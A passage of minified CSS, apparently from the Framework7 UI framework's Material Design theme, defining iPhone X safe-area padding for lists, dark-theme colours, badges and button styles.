.block-footer,.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:16px}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{background-position:calc(100% - 16px - constant(safe-area-inset-right)) center;background-position:calc(100% - 16px - env(safe-area-inset-right)) center}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-right:calc(42px + constant(safe-area-inset-right));padding-right:calc(42px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{padding-right:calc(42px + constant(safe-area-inset-right));padding-right:calc(42px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner{padding-right:calc(42px + constant(safe-area-inset-right));padding-right:calc(42px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row{padding-right:0}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}.list.md .theme-dark ul:before,.md .theme-dark .list ul:before{background-color:rgba(255,255,255,.08)}.list.md .theme-dark ul:after,.md .theme-dark .list ul:after{background-color:rgba(255,255,255,.08)}.list.md .theme-dark li li:last-child .item-inner:after,.list.md .theme-dark li:last-child li .item-inner:after,.md .theme-dark .list li li:last-child .item-inner:after,.md .theme-dark .list li:last-child li .item-inner:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-divider:before{background-color:rgba(255,255,255,.08)}.md .theme-dark .list-group-title:before{background-color:rgba(255,255,255,.08)}.md .theme-dark .list-button:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-inner:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-divider,.md .theme-dark .list-group-title{background-color:#111;color:#fff}.links-list.md .theme-dark a .simple-list li:after,.md .theme-dark .links-list a:after,.md .theme-dark .simple-list li:after,.simple-list.md .theme-dark li:after{background-color:rgba(255,255,255,.08)}.links-list.md .theme-dark a.active-state,.list.md .theme-dark .item-link.active-state,.list.md .theme-dark .list-button.active-state,.md .theme-dark .links-list a.active-state,.md .theme-dark .list .item-link.active-state,.md .theme-dark .list .list-button.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .item-after,.md .theme-dark .item-text{color:rgba(255,255,255,.54)}.md .color-theme-red .list-button{color:#f44336}.md .color-theme-green .list-button{color:#4caf50}.md .color-theme-blue .list-button{color:#2196f3}.md .color-theme-pink .list-button{color:#e91e63}.md .color-theme-yellow .list-button{color:#ffeb3b}.md .color-theme-orange .list-button{color:#ff9800}.md .color-theme-gray .list-button{color:#9e9e9e}.md .color-theme-white .list-button{color:#fff}.md .color-theme-black .list-button{color:#000}.md .links-list a.color-red,.md .links-list li.color-red a,.md .list .item-link.color-red,.md .list .list-button.color-red,.md .list li.color-red .item-link,.md .list li.color-red .list-button,.md .simple-list li.color-red{color:#f44336}.md .links-list a.color-green,.md .links-list li.color-green a,.md .list .item-link.color-green,.md .list .list-button.color-green,.md .list li.color-green .item-link,.md .list li.color-green .list-button,.md .simple-list li.color-green{color:#4caf50}.md .links-list a.color-blue,.md .links-list li.color-blue a,.md .list .item-link.color-blue,.md .list .list-button.color-blue,.md .list li.color-blue .item-link,.md .list li.color-blue .list-button,.md .simple-list li.color-blue{color:#2196f3}.md .links-list a.color-pink,.md .links-list li.color-pink a,.md .list .item-link.color-pink,.md .list .list-button.color-pink,.md .list li.color-pink .item-link,.md .list li.color-pink .list-button,.md .simple-list li.color-pink{color:#e91e63}.md .links-list a.color-yellow,.md .links-list li.color-yellow a,.md .list .item-link.color-yellow,.md .list .list-button.color-yellow,.md .list li.color-yellow .item-link,.md .list li.color-yellow .list-button,.md .simple-list li.color-yellow{color:#ffeb3b}.md .links-list a.color-orange,.md .links-list li.color-orange a,.md .list .item-link.color-orange,.md .list .list-button.color-orange,.md .list li.color-orange .item-link,.md .list li.color-orange .list-button,.md .simple-list li.color-orange{color:#ff9800}.md .links-list a.color-gray,.md .links-list li.color-gray a,.md .list .item-link.color-gray,.md .list .list-button.color-gray,.md .list li.color-gray .item-link,.md .list li.color-gray .list-button,.md .simple-list li.color-gray{color:#9e9e9e}.md .links-list a.color-white,.md .links-list li.color-white a,.md .list .item-link.color-white,.md .list .list-button.color-white,.md .list li.color-white .item-link,.md .list li.color-white .list-button,.md .simple-list li.color-white{color:#fff}.md .links-list a.color-black,.md .links-list li.color-black a,.md .list .item-link.color-black,.md .list .list-button.color-black,.md .list li.color-black .item-link,.md .list li.color-black .list-button,.md .simple-list li.color-black{color:#000}.badge{display:inline-block;color:#fff;background:#8e8e93;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center}.f7-icons .badge,.framework7-icons .badge,.icon .badge,.material-icons .badge{position:absolute;left:100%;margin-left:-10px;top:-2px}.md .badge{font-size:10px;border-radius:3px;padding:1px 6px;vertical-align:middle}.md .f7-icons .badge,.md .framework7-icons .badge,.md .icon .badge,.md .material-icons .badge{line-height:1.4;padding:1px 5px;font-family:Roboto,Noto,Helvetica,Arial,sans-serif;font-size:10px}.md .badge.color-red{background-color:#f44336}.md .badge.color-green{background-color:#4caf50}.md .badge.color-blue{background-color:#2196f3}.md .badge.color-pink{background-color:#e91e63}.md .badge.color-yellow{background-color:#ffeb3b}.md .badge.color-orange{background-color:#ff9800}.md .badge.color-gray{background-color:#9e9e9e}.md .badge.color-white{background-color:#fff}.md .badge.color-black{background-color:#000}button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle}input[type=button].button,input[type=submit].button{width:100%}button{width:100%}.segmented{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap}.segmented .button,.segmented button{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.subnavbar .segmented{width:100%}.md .button{color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);font-weight:500;letter-spacing:.03em}.md .button.active-state{background:rgba(0,0,0,.1)}.md .button.button-active,.md .button.button-fill,.md .button.button-fill-md,.md .button.tab-link-active{background-color:#2196f3;color:#fff}.md .button.button-active.active-state,.md .button.button-fill-md.active-state,.md .button.button-fill.active-state,.md .button.tab-link-active.active-state{background:#0c82df}.md .button.button-big,.md .button.button-big-md{height:48px;line-height:48px;border-radius:4px}.md .button.button-round,.md .button.button-round-md{border-radius:36px}.md .button.button-outline{border:2px solid #2196f3;line-height:32px}.md .button.button-outline.button-big,.md .button.button-outline.button-big-md{line-height:44px}.md .button.button-small,.md .button.button-small-md{height:28px;line-height:28px;font-size:13px;font-weight:500;letter-spacing:.03em}.md .button.button-small-md.button-outline,.md .button.button-small.button-outline{border-width:2px;line-height:24px}.md .button>i.icon+i.icon,.md .button>i.icon+span,.md .button>span:not(.ripple-wave)+i.icon,.md .button>span:not(.ripple-wave)+span{margin-left:8px}.md .button.button-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .button.button-raised.active-state{-webkit-box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23);box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23)}.md .navbar .button:not(.button-fill):not(.button-fill-md),.md .subnavbar .button:not(.button-fill):not(.button-fill-md),.md .toolbar .button:not(.button-fill):not(.button-fill-md){color:#fff}.md .navbar 